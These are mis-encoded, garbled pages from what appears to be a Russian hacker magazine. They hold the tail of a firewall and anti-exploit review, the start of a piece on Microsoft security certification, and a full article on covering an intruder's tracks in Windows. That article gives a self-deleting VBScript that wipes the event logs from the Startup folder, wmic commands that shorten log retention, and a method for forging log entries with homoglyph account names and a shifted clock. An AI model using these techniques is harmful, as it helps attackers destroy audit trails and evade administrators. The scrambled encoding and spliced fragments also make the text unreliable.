ìåíòàðèé. Áîëüøîé ïîïóëÿðíîñòüþ
ïîëüçóåòñÿ óòèëèòà TCPView Ìàðêà
Ðóññèíîâè÷à (www.sysinternals.com), íå
òîëüêî âûâîäÿùàÿ ðàçâåðíóòóþ
ñòàòèñòèêó, íî è ïîçâîëÿþùàÿ îä-
íèì äâèæåíèåì ìûøè çàêðûòü ëþ-
áîå ñåòåâîå ñîåäèíåíèå.

Åùå ëó÷øå îãðàäèòü ñâîé
êîìïüþòåð ïåðñîíàëüíûì áðàíä-
ìàóýðîì. Ìíîãèå èç áðàíäìàóý-
ðîâ, êñòàòè ãîâîðÿ, ñîäåðæàò ñèñ-

òåìû îáíàðóæåíèÿ âòîðæåíèé è
àíòèâèðóñíûå ìîäóëè. Áðàíäìàó-
ýð íå òîëüêî ñîîáùàåò î ïîäîçðè-
òåëüíûõ ñåòåâûõ ñîåäèíåíèÿõ �
îí ïîçâîëÿåò èõ áëîêèðîâàòü,
ïðåäîòâðàùàÿ óòå÷êó äàííûõ ñ
òâîåãî êîìïüþòåðà è âûäàâàÿ
ïðåäóïðåäèòåëüíûå ñîîáùåíèÿ
íà ðàííèõ ñòàäèÿõ âòîðæåíèÿ.
Âïðî÷åì, áðàíäìàóýð � ýòî åùå íå
ïàíàöåÿ, è îí íå ìîæåò çàùèòèòü
îò àòàê, êîòîðûå ñîâåðøàþòñÿ íå
÷åðåç íåãî. Âèðóñû � íå åãî ñïå-
öèàëèçàöèÿ, è â áîðüáå ñ íèìè îí
ìàëîýôôåêòèâåí. E

êîä â ñòåêå. Íà óðîâíÿõ medi-
um è high ñòåê ïîëíîñòüþ çà-
ùèùåí îò âûïîëíåíèÿ â íåì
êîäà, êó÷à èñïîëíÿåìà, íî óíè-
êàëüíàÿ òåõíîëîãèÿ êîíòðîëÿ
íå ïîçâîëÿåò ýêñïëîèòàì ïî-
ëó÷èòü óïðàâëåíèå. Íà óðîâíå
ultra íåâîçìîæíî èñïîëíÿòü
êîä êàê â ñòåêå, òàê è â êó÷å.

Ñóùåñòâóþò äâå âåðñèè ïðîãðàììû: ïîëüçîâàòåëüñêàÿ è ñåðâåð-
íàÿ. Ïîëüçîâàòåëüñêàÿ âåðñèÿ çàùèùàåò âñå ïðèëîæåíèÿ ïî
óìîë÷àíèþ íà óðîâíå high (ðàçóìíûé êîìïðîìèññ ìåæäó óðîâíåì
çàùèòû è ñîâìåñòèìîñòüþ). Ñåðâåðíàÿ âåðñèÿ çàùèùàåò òîëüêî
òå ïðèëîæåíèÿ, êîòîðûå óêàçàíû ïîëüçîâàòåëåì íà óðîâíå ultra
ïî óìîë÷àíèþ. 

Â ñëó÷àå àòàêè ïðîãðàììà çà-
âåðøàåò àòàêóåìûé ïîòîê (íå
ïðîöåññ!). Òî åñòü åñëè ó òåáÿ
ñòîèò ñåðâåð HTTP/FTP, òî
ãðîõíåòñÿ òîëüêî ïîëüçîâà-
òåëü, êîòîðûé àòàêîâàë, à îñ-
òàëüíûå ïîëüçîâàòåëè áóäóò
ðàáîòàòü, êàê áóäòî íè÷åãî íå ñëó÷èëîñü. Ïðàâäà, àòàêîâàííîå ïðè-
ëîæåíèå ìîæåò ïîâåñòè ñåáÿ ñîâåðøåííî íåàäåêâàòíûì îáðàçîì
(çàâèñèò îò êîíêðåòíîé ðåàëèçàöèè), è åãî ïðèäåòñÿ ïåðåçàãðóçèòü.
Ïðè ýòîì åñëè àòàêîâàí ñèñòåìíûé ïðîöåññ, òî îêîøêî ñ óâåäîìëå-
íèåì î ïåðåçàãðóçêå íå âûñêî÷èò, ñèñòåìà áóäåò ïîääåðæèâàòüñÿ â
ìàêñèìàëüíî ðàáîòîñïîñîáíîì ñîñòîÿíèè. Ïðîãðàììà ïðàêòè÷åñêè
íè÷åì íå íàïîìèíàåò î ñâîåì ñóùåñòâîâàíèè â ñèñòåìå, êðîìå ñå-
ðîé èêîíêè çàìêà â òðåå. Â ñëó÷àå àòàêè èêîíêà ñòàíîâèòñÿ êðàñ-
íîé, ñî çâóêîâîé ñèãíàëèçàöèåé.

Îäíàêî èñïîëüçîâàíèå ïðîãè íå äàåò ñòîïðîöåíòíîé ãàðàíòèè çà-
ùèòû îò ýêñïëîèòîâ. Íàïðèìåð, íå çàùèùàþòñÿ îò èñïîëíåíèÿ ãëî-
áàëüíûå áóôåðû èñïîëíÿåìûõ ìîäóëåé è äèíàìè÷åñêèõ áèáëèî-
òåê. Äðóãèìè ñëîâàìè, èñïîëüçîâàíèå Anti-Cracker Shield íå èçáàâ-
ëÿåò îò íåîáõîäèìîñòè èñïîëüçîâàíèÿ ôàåðâîëîâ è àíòèâèðóñîâ,
óñòàíîâêè çàïëàòîê. Anti-Cracker Shield - ýòî åùå îäíî æèçíåííî
íåîáõîäèìîå çâåíî â öåïè áåçîïàñíîñòè.

Ïðîãðàììó òÿíè ñ www.softsphere.com/cgi-bbin/redirect.pl?
Name=ACSHIELD, à ðóññêèé õåëï ê íåé - ñ www.softsphere.com
/files/acshield.chm.



Àíàëèçèðóþùèé (analyst1945@mail.ru, www.wshinform.boom.ru)

«× èñòè ëîãè òðè ðàçà â äåíü!», «Óõîäÿ, îí ïî÷èñòèë çà ñîáîé ëîãè», «Çàãëÿíóâ â ëîãè, àäìèíèñòðàòîð
îáíàðóæèë�» - åäâà ëè íå ñàìûå ÷àñòî âñòðå÷àþùèåñÿ ôðàçû â èñòîðèÿõ àíäåãðàóíäà. ×èñòêà ëîãîâ �

ãàðàíòèÿ áåçîïàñíîñòè âçëîìùèêà è çàëîã åãî ñïîêîéíîãî ñíà. 

ÁÎÐÒÎÂÎÉ
ÆÓÐÍÀË
ÏÐÅÏÀÐÈÐÓÅÌ ËÎÃÈ WINDOWS

èòàÿ î÷åðåäíóþ õàêå-
ðñêóþ áàéêó, à, ìîæåò,
è íå áàéêó, à ïðåóêðà-
øåííóþ èñòîðèþ, ÿ îá-
ðàòèë âíèìàíèå íà

ñòàíäàðòíóþ êîíöîâêó. Õåïïè-ýíä âû-
äåëÿëñÿ â ýòîì îò÷åòå ïîëíûì îòñóò-
ñòâèåì êàêèõ-ëèáî ïîäðîáíîñòåé, õîòÿ
âñå îñòàëüíîå áûëî îïèñàíî ÷åòêî è
âíÿòíî, ñ ïðèìåðàìè êîìàíä, à â íåêî-
òîðûõ ìåñòàõ - è ñî ñêðèíøîòàìè.
Ìîæíî áûëî ïîäóìàòü, ÷òî ÷èñòêà ëî-
ãîâ - íàñòîëüêî ïðîñòîå çàíÿòèå, ÷òî
äîñòóïíî ëþáîìó ïîëüçîâàòåëþ, ïðî-
øåäøåìó íåäåëüíûå êóðñû è íàó÷èâ-
øåìóñÿ ïîñëå íèõ îòëè÷àòü êëàâèøó
CTRL îò SHIFT. Òàê ÷òî æå ïðåäñòàâëÿ-
åò ñîáîé íà ñàìîì äåëå ÷èñòêà ëîãîâ?

Äëÿ ÷èñòêè èñïîëüçóþòñÿ âñåâîç-
ìîæíûå ëîãâàéïåðû è ðóòêèòû, è èñ-
ïîëüçóþòñÿ îíè ïðåèìóùåñòâåííî â
Linux-ñèñòåìàõ. Íî ýòîò íîìåð ïîñâÿ-
ùåí Win-ñèñòåìàì, êîòîðûå, êñòàòè,
ìîãóò âåñòè ëîãè íå õóæå ïèíãâèíîîá-
ðàçíûõ îñåé. Âñÿ ðàáîòà áóäåò ïðîâî-
äèòüñÿ ñðåäñòâàìè, âñòðîåííûìè â ñà-
ìó ñèñòåìó, òàê ÷òî ïðàêòè÷åñêè íèêà-
êîãî ñòîðîííåãî ñîôòà íàì íå ïîíàäî-
áèòñÿ. 

WSH � ÂÑÒÐÎÅÍÍÀß ÑÈÑÒÅÌÀ
ÀÂÒÎÌÀÒÈÇÀÖÈÈ

Ïî ôóíêöèîíàëüíûì âîçìîæíîñ-
òÿì WSH (Windows Script Host) ìîæåò
óñïåøíî ïîòÿãàòüñÿ ñ êîíñîëüíûìè
ñêðèïòàìè Linux, çíà÷èòåëüíî ïðåâîñ-
õîäÿ èõ ïî ïðîñòîòå ñîçäàíèÿ. Â êà÷å-
ñòâå èíñòðóìåíòà ðàçðàáîòêè ïîäîé-
äåò ëþáîé òåêñòîâûé ðåäàêòîð. Ñöåíà-
ðèè ãîòîâû ê ðàáîòå ñðàçó æå ïîñëå
íàïèñàíèÿ, åñëè WSH íå îòêëþ÷åíû
íà äàííîì êîìïüþòåðå è ïîääåðæèâà-
þòñÿ îïåðàöèîííîé ñèñòåìîé. Ïîääå-
ðæêà ñêðèïòîâ ïðèñóòñòâóåò â
Windows íà÷èíàÿ ñ 98-é âåðñèè (äëÿ
áîëåå ðàííèõ âåðñèé ÎÑ ñåðâåð ñöå-
íàðèåâ óñòàíàâëèâàåòñÿ îòäåëüíî),
êîòîðîé ëîãè íå ñíèëèñü â ñàìîì êîø-
ìàðíîì ñíå. Âîçìîæíîñòè è ñèíòàêñèñ
VBScript ðàññìîòðåíû äîñòàòî÷íî ïîä-
ðîáíî â ïðîøëûõ íîìåðàõ æóðíàëà,
ïîýòîìó óïîìÿíåì ëèøü î òîì, ÷òî
êîä ñöåíàðèÿ ïîìåùàåòñÿ â òåêñòî-

âûé ôàéë ñ ðàñøèðåíèåì WSF ïîñëå
XML-êîíñòðóêöèè â íà÷àëå:

<?xml version="1.0" encoding="windows-
1251"?>

<job id="T1">
<script language="VBScript">
<![CDATA[

è 

]]>
</script>

</job> 

â êîíöå.

ÍÀØ ÂÛÁÎÐ
Åñëè ñëèøêîì áóêâàëüíî ïîíè-

ìàòü ïðèçûâ «÷èñòè ëîãè!», òî íà
ïðîãðàììèðîâàíèå óéäåò íå áîëåå ïà-
ðû ìèíóò.

Ñöåíàðèé, êîòîðûé ìîæíî âèäåòü íà
âðåçêå, äîñòàòî÷íî ïîìåñòèòü â ïàïêó
«Àâòîçàãðóçêà». Ðåçóëüòàòîì áóäåò
êðèñòàëüíàÿ ÷èñòîòà æóðíàëà (èëè
æóðíàëîâ - êîìó êàê íðàâèòñÿ) ñîáû-
òèé è ñêðóïóëåçíûé ïîèñê áàãîâ, òðîÿ-
íîâ è ïðî÷èõ mallware àäìèíîì íà
ïî÷âå îáîñòðåííîé ïîäîçðèòåëüíîñ-
òè. Âïðî÷åì, åñëè íåò æåëàíèÿ âîçâ-

ðàùàòüñÿ íà "ïîïîëüçîâàííóþ" ñèñ-
òåìó è íåò æåëàíèÿ âäàâàòüñÿ â ïîä-
ðîáíîñòè, òî àêò ïðèðàâíèâàíèÿ ê íó-
ëþ îáúåìà ôàéëà æóðíàëà ìîæíî
ñ÷èòàòü ïðîùàëüíûì õëîïêîì
äâåðüþ, ÷òî áóäåò îùóòèìûì óäàðîì
ïî èçíåæåííûì íåðâàì ñèñòåìùèêà.

Òîìó, êòî ïëàíèðóåò ïåðèîäè÷åñêè
íàâåùàòü ïîíðàâèâøóþñÿ ñèñòåìó,
ðàçóìíåå áûëî áû îãðàíè÷èòü êîëè-
÷åñòâî èíôîðìàöèè, õðàíèìîé â ëî-
ãàõ, ïî îáúåìó èëè ÷èñëó ïðîøåäøèõ
äíåé. Ýòî ìîæíî ñäåëàòü ñ ïîìîùüþ
êîìàíäíîé ñòðîêè, ïîëó÷èâ äîñòóï ê
ñâîéñòâàì æóðíàëà ñîáûòèé ñ ïî-
ìîùüþ ïñåâäîíèìà NTEVENTLOG.
Äëÿ íà÷àëà îòêðîåì îêíî êîìàíäíîé
êîíñîëè: Ïóñê �> Âûïîëíèòü -> �cmd�.
Çàòåì çàïóñòèì ïðîãðàììó, ïîçâîëÿþ-
ùóþ ðàáîòàòü ñ WMI ÷åðåç êîìàíäíóþ
ñòðîêó, èñïîëüçóÿ ïñåâäîíèìû:
«wmic». Äëÿ èçìåíåíèÿ íóæíûõ ïàðà-
ìåòðîâ íàáåðåì êîìàíäû:

NTEVENTLOG WHERE
LogFileName=�Application� SET
MaxFileSize=65536

(äëÿ çàäàíèÿ ìàêñèìàëüíîãî ðàçìå-
ðà ôàéëà æóðíàëà «Ïðèëîæåíèå» â
64 êèëîáàéò). 
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ÁÎÐÒÎÂÎÉ ÆÓÐÍÀË88 ÇÀÙÈÒÀ

'Âûáèðàåòñÿ æóðíàë ñîáûòèé
LogType = �Application� �Ïðèëîæåíèå
�LogType = �System� �Áåçîïàñíîñòü
�LogType = �Security� �Ñèñòåìà
�Ïîäêëþ÷àåòñÿ ê ïðîñòðàíñòâó WMI � îäíîé ñòðîêîé!
Set Eventlog =

GetObject(�winmgmts:{impersonationLevel=impersonate}�).ExecQuery(�select *from
Win32_NTEventLogFile where Logfilename=�� & LogType & ���)

�Î÷èùàþòñÿ âûáðàííûå æóðíàëû
For each Entry in EventLog
Entry.ClearEventlog()

Next
'È çàâåðøàþùèå øòðèõè � ñêèïò ñòèðàåò ñàì ñåáÿ.
Scriptname=wscript.scriptfullname
set fso=CreateObject("Scripting.FileSystemObject")
fso.Getfile(Scriptname).Delete
�Çàâåðøåíèå ðàáîòû ñöåíàðèÿ
Wscript.Quit

Î×ÈÙÀÅÌ ÆÓÐÍÀËÛ ÑÎÁÛÒÈÉ

Äëÿ çàãðóç-
êè âèðòó-
àëüíîé ìà-
øèíû ñ CD-
ROM íåîá-
õîäèìî âîé-
òè â âèðòó-
àëüíûé
BIOS Setup
(â VMWare
ýòî äåëàåò-
ñÿ íàæàòè-
åì êëàâèøè
F2 íà íà-
÷àëüíîé
çàñòàâêå) è
â ìåíþ boot
âûòÿíóòü
CD-ROM íà-
âåðõ.



NTEVENTLOG WHERE LogFileName=�
System� SET OverwriteOutDated=1

(äëÿ çàäàíèÿ ìàêñèìàëüíîãî ñðîêà
õðàíåíèÿ çàïèñåé æóðíàëà «Ñèñòåìà»
â 1 äåíü).

Êðîìå èçìåíåíèÿ íàñòðîåê, ïñåâäî-
íèì NTEVENTLOG ïîçâîëÿåò ïðîñìîò-
ðåòü âñå ñâîéñòâà âûáðàííîãî æóðíà-
ëà ñîáûòèé:

NTEVENTLOG WHERE
LogFileName=�Application� GET /VALUE

Åñëè òðåáóåòñÿ «èíòåëëåêòóàëüíîå»
èçìåíåíèå íàñòðîåê áåç ó÷àñòèÿ ÷å-
ëîâåêà, òî íåòðóäíî è íàïèñàòü îáî-
ëî÷êó-ñöåíàðèé äëÿ ýòîé êîìàíäû.
Îäèí èç âàðèàíòîâ òàêîé îáîëî÷êè
ïîêàçàí âî âðåçêå.

ÓÍÈÊÀËÜÍÛÉ ÏÎ×ÅÐÊ ÈËÈ
ÎÏÀÑÍÀß ÓËÈÊÀ?

Ïî ïðèâû÷êå ðóêè íàáèâàþò çíàêî-
ìûå VBScript-îïåðàòîðû, â ðåçóëüòàòå
÷åãî âîçíèêàåò ñöåíàðèé, âíîñÿùèé â
æóðíàëû ñèñòåìû íóæíûå çàïèñè.

Çàêîí÷èâ ëþáîâàíèå ïðîäåëàííîé
ðàáîòîé, ÿ çàõîòåë ïðîâåðèòü åå ðå-

çóëüòàòû. Êàêîâî æå áûëî ðàçî÷àðî-
âàíèå, êîãäà â ñòîëáöå æóðíàëà «Èñ-
òî÷íèê» («Source Type») îáíàðóæè-
ëîñü ðàçîáëà÷àþùåå âçëîìùèêà çíà-
÷åíèå «WSH». Ïàíèêó ñìÿã÷àëî ëèøü
îòñóòñòâèå óêàçàíèÿ íà þçåðà, âíåñ-
øåãî çàïèñü «Ïîëüçîâàòåëü» � «Í/À»
(«User Name» - «N/A»). Íóæíî áûëî
èñêàòü äðóãîé ïóòü. È îí áûë íàéäåí.

ÎÏÅÐÀÖÈÎÍÍÀß ÑÈÑÒÅÌÀ ÄËß
ÕÀÊÅÐÀ

Èç ãëóáèí ïîäñîçíàíèÿ íàõëûíó-
ëè äàâíèå âîñïîìèíàíèÿ. Ðîáêî ïðîñ-
ìàòðèâàþ ñïðàâî÷íóþ ñèñòåìó
Windows è íàõîæó â ñïðàâî÷íèêå ïî
êîìàíäíîé ñòðîêå íåïðèìåòíóþ, íî íå
ìåíåå îò ýòîãî âàæíóþ êîìàíäó event-
create, ñ ïîìîùüþ êîòîðîé ìîæíî âíî-
ñèòü çàïèñè â æóðíàëû ñîáûòèé íå-
ïîñðåäñòâåííî èç êîìàíäíîé ñòðîêè. 

Îñíîâíîå ïðåèìóùåñòâî âûøåóêà-
çàííîé êîìàíäû ïåðåä ñöåíàðèÿìè
WSH � âîçìîæíîñòü íàïðÿìóþ óêà-
çàòü èìÿ èñòî÷íèêà è ïîëüçîâàòåëÿ.
Ïðàâäà, ïîëüçîâàòåëü äîëæåí ñóùå-
ñòâîâàòü, è ïàðîëü åãî äîëæåí áûòü
èçâåñòåí. Êðîìå òîãî, ñèñòåìíûå èñ-
òî÷íèêè âðîäå «Userenv» èëè

«MsiInstaller» çàáëîêèðîâàíû, à âíî-
ñèòü çàïèñü îò èìåíè ïîëüçîâàòåëÿ
«System» íå ïðåäñòàâëÿåòñÿ âîçìîæ-
íûì. Âûäàåòñÿ ñîîáùåíèå «Îøèáêà:
èñõîäíûé ïàðàìåòð èñïîëüçóåòñÿ
òîëüêî äëÿ îïðåäåëåíèÿ ïðèëîæåíèÿ
èëè ñöåíàðèÿ (íåâñòðîåííûå èñòî÷-
íèêè)». Íî, ê ñ÷àñòüþ, äëÿ ýòîé ïðîá-
ëåìû åñòü ðåøåíèå, êîòîðîå ëåæèò
íà ïîâåðõíîñòè. Ñóòü â òîì, ÷òî íåêî-
òîðûå ñèìâîëû ëàòèíñêîãî è êèðèë-
ëè÷åñêîãî àëôàâèòà èìåþò ïðàêòè-
÷åñêè îäèíàêîâûé âèä (ïî êðàéíåé
ìåðå, â øðèôòàõ Windows), íî ðàçíûå
êîäû. «À» ëàòèíñêîå è «À» êèðèëëè-
÷åñêîå � íå îäíî è òî æå, õîòÿ è âûã-
ëÿäÿò îäèíàêîâî. Åñëè ñîçäàíèå
ó÷åòíîé çàïèñè «System» íåâîçìîæ-
íî, òî ïîëüçîâàòåëü «System» (ñ êè-
ðèëëè÷åñêîé «å») äîáàâëÿåòñÿ íà
«Óðà». Ïîñëå ñîçäàíèÿ ó÷åòíîé çàïè-
ñè îò åå èìåíè ìîæíî âíîñèòü ñîáû-
òèÿ â ñèñòåìíûé æóðíàë, à çàòåì óäà-
ëÿòü â öåëÿõ êîíñïèðàöèè. Àíàëîãè÷-
íàÿ ïîäìåíà äåéñòâóåò è íà óêàçàíèå
«Èñòî÷íèêà». 

Îñòàåòñÿ åùå îäíà ïðîáëåìà � äàòà
è âðåìÿ âíåñåíèÿ çàïèñè. Íà ñàìîì
äåëå, ïðè íàëè÷èè ïðàâ Àäìèíèñòðà-
òîðà ýòî äàëåêî íå ïðîáëåìà, à, ñêà-
æåì òàê, íåáîëüøîå ïðåïÿòñòâèå. Âñå
ðåøàåòñÿ îáû÷íûì ïåðåâîäîì êàëåí-
äàðÿ è ÷àñîâ, ÷òî âïîëíå îñóùåñòâè-
ìî ñðåäñòâàìè êîìàíäíîé ñòðîêè è
ñöåíàðèåâ. 
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Èçìåíåííûå ïàðàìåòðû â äåéñòâèè

Òàêîé èñòî÷íèê íàì íå íóæåí

Èìèòàöèÿ èñòî÷íèêà çàïèñè «Userenv» çàìåíîé ëàòèíñêîé
«å» íà êèðèëëè÷åñêóþ

� è íàñëàæäàåìñÿ ðåçóëüòàòàìè

Èíòåðåñíàÿ ó÷åòíàÿ çàïèñü

Eventcreate ïîçâîëÿåò âíîñèòü çàïèñè â
ëîãè èç êîìàíäíîé ñòðîêè.



Êàê ðåçþìå êî âñåìó çäåñü íàïèñàí-
íîìó. Ñõåìàòè÷íî ïðîöåäóðà óäàëå-
íèÿ çàïèñè îá îïðåäåëåííûõ ñîáûòè-
ÿõ âûãëÿäèò òàê:

Ñîõðàíåíèå íåêîòîðûõ çàïèñåé
æóðíàëà ñîáûòèé â îòäåëüíûé èñòî÷-
íèê

Ñîçäàíèå ó÷åòíûõ çàïèñåé ñî ñïå-
öèôè÷åñêèìè èìåíàìè

Î÷èñòêà æóðíàëà ñîáûòèé
Ñ÷èòûâàíèå çàïèñåé èç àðõèâà
Èçìåíåíèå äàò è âðåìåíè è âíåñå-

íèå ñ÷èòàííûõ çàïèñåé
Óäàëåíèå âðåìåííûõ ó÷åòíûõ çà-

ïèñåé
Óäàëåíèå àðõèâà çàïèñåé
Óñòàíîâêà òåêóùåé äàòû è âðåìåíè

ÎÒÑËÅÆÈÂÀÅÌ ÑÎÁÛÒÈß Â
ÐÅÀËÜÍÎÌ ÂÐÅÌÅÍÈ

Íåñìîòðÿ íà êàæóùóþñÿ ïðîñòîòó
îïèñàííîãî ñïîñîáà èíîãäà ìàíèïó-
ëÿöèè ñ ëîãàìè íå èìåþò áîëüøîãî
ñìûñëà, à, ñêîðåå, íàïîìèíàþò áîðü-
áó ñ ñèìïòîìàìè çàáîëåâàíèÿ, âìåñòî
âûÿñíåíèÿ è óäàëåíèÿ ïðè÷èíû áî-
ëåçíè. Ìíîãèå çàïèñè â æóðíàëû ñî-
áûòèé âíîñÿòñÿ áëàãîäàðÿ íàñòðîé-
êàì ïàðàìåòðîâ ëîêàëüíîé ïîëèòèêè.
Èçìåíåíèå ëîêàëüíîé ïîëèòèêè åñòü
íå ÷òî èíîå, êàê ðåäàêòèðîâàíèå ðå-
åñòðà â êîìôîðòíîé îáñòàíîâêå, òî
åñòü ÷åðåç êîíñîëü ÌÌÑ. Â ýòîì ëåã-
êî óáåäèòüñÿ, åñëè îäíîâðåìåííî ñ

ïðàâêîé ïîëèòèê áåçîïàñíîñòè âîñ-
ïîëüçîâàòüñÿ ñðåäñòâîì ìîíèòîðèíãà
ðååñòðà, íàïðèìåð RegFix. Èçìåíåí-
íûå ïàðàìåòðû ìîæíî ñîõðàíèòü è â
áóäóùåì ïðàâèòü ñ ïîìîùüþ êîìàíä-
íûõ ôàéëîâ è ñöåíàðèåâ WSH.

Áîëüøóþ îïàñíîñòü ïðåäñòàâëÿþò
ïðèëîæåíèÿ è ñåðâèñû, èìåþùèå
ñâîþ ñîáñòâåííóþ ñèñòåìó äîêóìåí-
òèðîâàíèÿ ñîáûòèé, èíîãäà äóáëèðó-
þùóþ çàïèñè â ñòàíäàðòíûå ëîãè
Windows. Òàêæå ïîìèìî ïàññèâíîé

ðåãèñòðàöèè ïðîèçîøåäøèõ èçìåíå-
íèé ìîãóò ïðîèçâîäèòüñÿ êîíêðåòíûå
äåéñòâèÿ, íàïðèìåð, îòïðàâêà SMS
èëè ICQ ñèñòåìíîìó àäìèíèñòðàòîðó.
Îäíàêî è çëîé âçëîìùèê ìîæåò íå
îñòàòüñÿ â äîëãó, çàïóñòèâ ñöåíàðèé,
îòñëåæèâàþùèé ïîÿâëåíèå â ëîãàõ
çàïèñåé îïðåäåëåííîãî òèïà.

Àëüòåðíàòèâîé ýòîìó WSH-ñöåíà-
ðèþ ñëóæèò CMD-êîìàíäà eventtrig-
gers, êîòîðàÿ ñîçäàåò â îïåðàöèîí-
íîé ñèñòåìå òàê íàçûâàåìûå òðèããå-
ðû, îòñëåæèâàþùèå âûïîëíåíèå îï-
ðåäåëåííûõ óñëîâèé â æóðíàëå ñî-
áûòèé è äåéñòâóþùèå â ñîîòâåò-
ñòâèè ñ íèìè.

Ïðèìåð ñîçäàíèÿ òðèããåðà, âçÿòûé
èç ñïðàâî÷íîãî ôàéëà:

eventtriggers /create /s srvmain /u main-
dom\hiropln /p p@ssW23 /tr "Îòñóòñòâèå
ìåñòà íà äèñêå" /eid 4133 /t warning /tk
\\server\share\diskcleanup.cmd

ÇÀ ÊÀÄÐÎÌ
Â ñòàòüå, ïî ïðè÷èíå åå îãðàíè-

÷åííîãî îáúåìà, íå óêàçàí ñïîñîá
êîïèðîâàíèÿ çàïèñåé èç ñèñòåìíûõ
æóðíàëîâ â òåêñòîâûé ôàéë. Îäèí
èç âàðèàíòîâ ñöåíàðèÿ, ðåàëèçóþ-
ùåãî ýòè âîçìîæíîñòè, ìîæíî íàéòè
íà ïðèëàãàþùåìñÿ ê æóðíàëó äèñêå,
õîòÿ ëó÷øèì ïðèìåðîì, íà ìîé
âçãëÿä, áóäåò âõîäÿùèé â Windows
XP Professional ñöåíàðèé event-
query.vbs, íà êîòîðûé, êñòàòè, ðàñï-
ðîñòðàíÿåòñÿ çàùèòà ñèñòåìíûõ
ôàéëîâ. E
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Âñå îïèñû-
âàåìûå
ýìóëÿòîðû
òû íàéäåøü
íà íàøåì
äèñêå.

Îäèí è òîò
æå äèñêî-
âûé îáðàç
ìîæåò áûòü
ïîäêëþ÷åí
ê íåñêîëü-
êèì âèðòó-
àëüíûì ìà-
øèíàì -
óäîáíî äëÿ
ïåðåäà÷è
ôàéëîâ
ìåæäó íèìè
èëè ñîâìå-
ñòíîãî èñ-
ïîëüçîâà-
íèÿ ïðèëî-
æåíèé.

ÁÎÐÒÎÂÎÉ ÆÓÐÍÀË90 ÇÀÙÈÒÀ

'Îáúÿâëÿþòñÿ èñïîëüçóåìûå
ïåðåìåííûå

Option Explicit
Dim WshShell, LEvent
Dim Ltype,LMsgevent,Lcomputer
'Ltype -Êîä òèïà ñîáûòèÿ
'0 - Óñïåõ (Success)
'1 - Îøèáêà (Error)
'2 - Ïðåäóïðåæäåíèå (Warning)
'4 - Óâåäîìëåíèå (Information)
'8 - Àóäèò óñïåõîâ (Audit_Sucess)
'16 - Àóäèò îòêàçîâ (Audit_Failure)
'LMsgevent - Òåêñòîâîå ñîîáùåíèå 
'Lcomputer - Äîïîëíèòåëüíûé

ïàðàìåòð, óêàçûâàþùèé èìÿ
êîìïüþòåðà äëÿ çàïèñè ñîáûòèÿ íà
óäàëåííîé ìàøèíå

Ltype = 2
LMsgevent = "Íàñòðîé ôàåðâîë!"
'Ïîëó÷àåòñÿ äîñòóï ê ñèñòåìíûì

îáúåêòàì
Set

WshShell=CreateObject("WScript.Shell") 
'Âíîñèòñÿ çàïèñü
LEvent=WshShell.LogEvent(Ltype,LMsge

vent)
'Çàâåðøåíèå ðàáîòû ñöåíàðèÿ
Wscript.Quit 

ÂÍÎÑÈÌ ÇÀÏÈÑÈ Â ËÎÃÈ
ÑÀÌÈ

'Îáúÿâëÿþòñÿ èñïîëüçóåìûå
ïåðåìåííûå

Option Explicit
Dim WshShell, LEvent
Dim Ltype,LMsgevent,Lcomputer
'Ltype -Êîä òèïà ñîáûòèÿ
'0 - Óñïåõ (Success)
'1 - Îøèáêà (Error)
'2 - Ïðåäóïðåæäåíèå (Warning)
'4 - Óâåäîìëåíèå (Information)
'8 - Àóäèò óñïåõîâ (Audit_Sucess)
'16 - Àóäèò îòêàçîâ (Audit_Failure)
'LMsgevent - Òåêñòîâîå ñîîáùåíèå 
'Lcomputer - Äîïîëíèòåëüíûé

ïàðàìåòð, óêàçûâàþùèé èìÿ
êîìïüþòåðà äëÿ çàïèñè ñîáûòèÿ íà
óäàëåííîé ìàøèíå

Ltype = 2
LMsgevent = "Íàñòðîé ôàåðâîë!"
'Ïîëó÷àåòñÿ äîñòóï ê ñèñòåìíûì

îáúåêòàì
Set

WshShell=CreateObject("WScript.Shell") 
'Âíîñèòñÿ çàïèñü
LEvent=WshShell.LogEvent(Ltype,LMsge

vent)
'Çàâåðøåíèå ðàáîòû ñöåíàðèÿ
Wscript.Quit 

ÎÒÑËÅÆÈÂÀÅÌ
ÏÎßÂËÅÍÈÅ Â ËÎÃÀÕ
ÎÏÐÅÄÅËÅÍÍÎÉ ÇÀÏÈÑÈ

Ñóäÿ ïî ëîãàì, ïðîèçîøåë ñêà÷åê âî âðåìåíè :)

Secpol.msc � âñåãî ëèøü óäîáíûé ðåäàêòîð ðååñòðà





Ëåøèé èç-çà Ëóêîìîðüÿ (lukomore@xakep.ru)

Â ïîñëåäíåå âðåìÿ Microsoft íåóñòàííî òâåðäèò î ïîâûøåíèè óðîâíÿ çàùèùåííîñòè ñâîåé ïðîäóêöèè, â îñîáåííîñòè
îïåðàöèîííûõ ñèñòåì Windows 2003 è Windows XP. Ñïåöèàëèñòû êîìïàíèè ðàçìàõèâàþò áóìàãàìè ñ ïå÷àòÿìè,

ÿêîáû ïîäòâåðæäàþùèìè áåçîïàñíîñòü òâîðåíèé MS. Êàêîâà íà ñàìîì äåëå öåíà ýòèõ áóìàã?

ÑÅÐÒÈÔÈÊÀÖÈß
ÏÐÎÃÐÀÌÌ 
ÎÒ MICROSOFT
ÍÅ ÂÑÅ ÒÀÊ ÕÎÐÎØÎ, ÊÀÊ ÊÀÆÅÒÑß

åðòèôèêàöèÿ - ýòî íå-
çàâèñèìàÿ ýêñïåðòèçà
è ïîäòâåðæäåíèå ñî-
îòâåòñòâèÿ íåêîòîðûì
òðåáîâàíèÿì. Â îáëàñ-

òè áåçîïàñíîñòè ñåðòèôèêàöèÿ áû-
âàåò äâóõ òèïîâ: äëÿ ëþäåé è äëÿ
ïðîãðàìì. Ïîùóïàåì ïîñëåäíåå. Çà-
âåòíàÿ áóìàãà ÿâëÿåòñÿ ðåçóëüòàòîì
äîëãîãî è íåïðîñòîãî ïðîöåññà ïðî-
âåðêè êîäîâ ïðîãðàììíîãî îáåñïå-
÷åíèÿ íà ñîîòâåòñòâèå ôîðìàëèçî-
âàííûì êðèòåðèÿì áåçîïàñíîñòè.
Ïðîöåññ ýòîò äëèòåëüíûé, äîðîãîé è
òðåáóåò ó÷àñòèÿ âûñîêîêâàëèôèöè-
ðîâàííûõ ñïåöèàëèñòîâ.

Î ÏÐÎÖÅÑÑÅ
Â ÷åì îòëè÷èå îáû÷íîãî áåòà-

òåñòèðîâàíèÿ îò òåñòèðîâàíèÿ ïî
áåçîïàñíîñòè, çàâåðøàþùåãîñÿ
âûäà÷åé ñåðòèôèêàòà? Â ïîäõîäå.
Â ïåðâîì ñëó÷àå èùóò îøèáêè, ïðè-
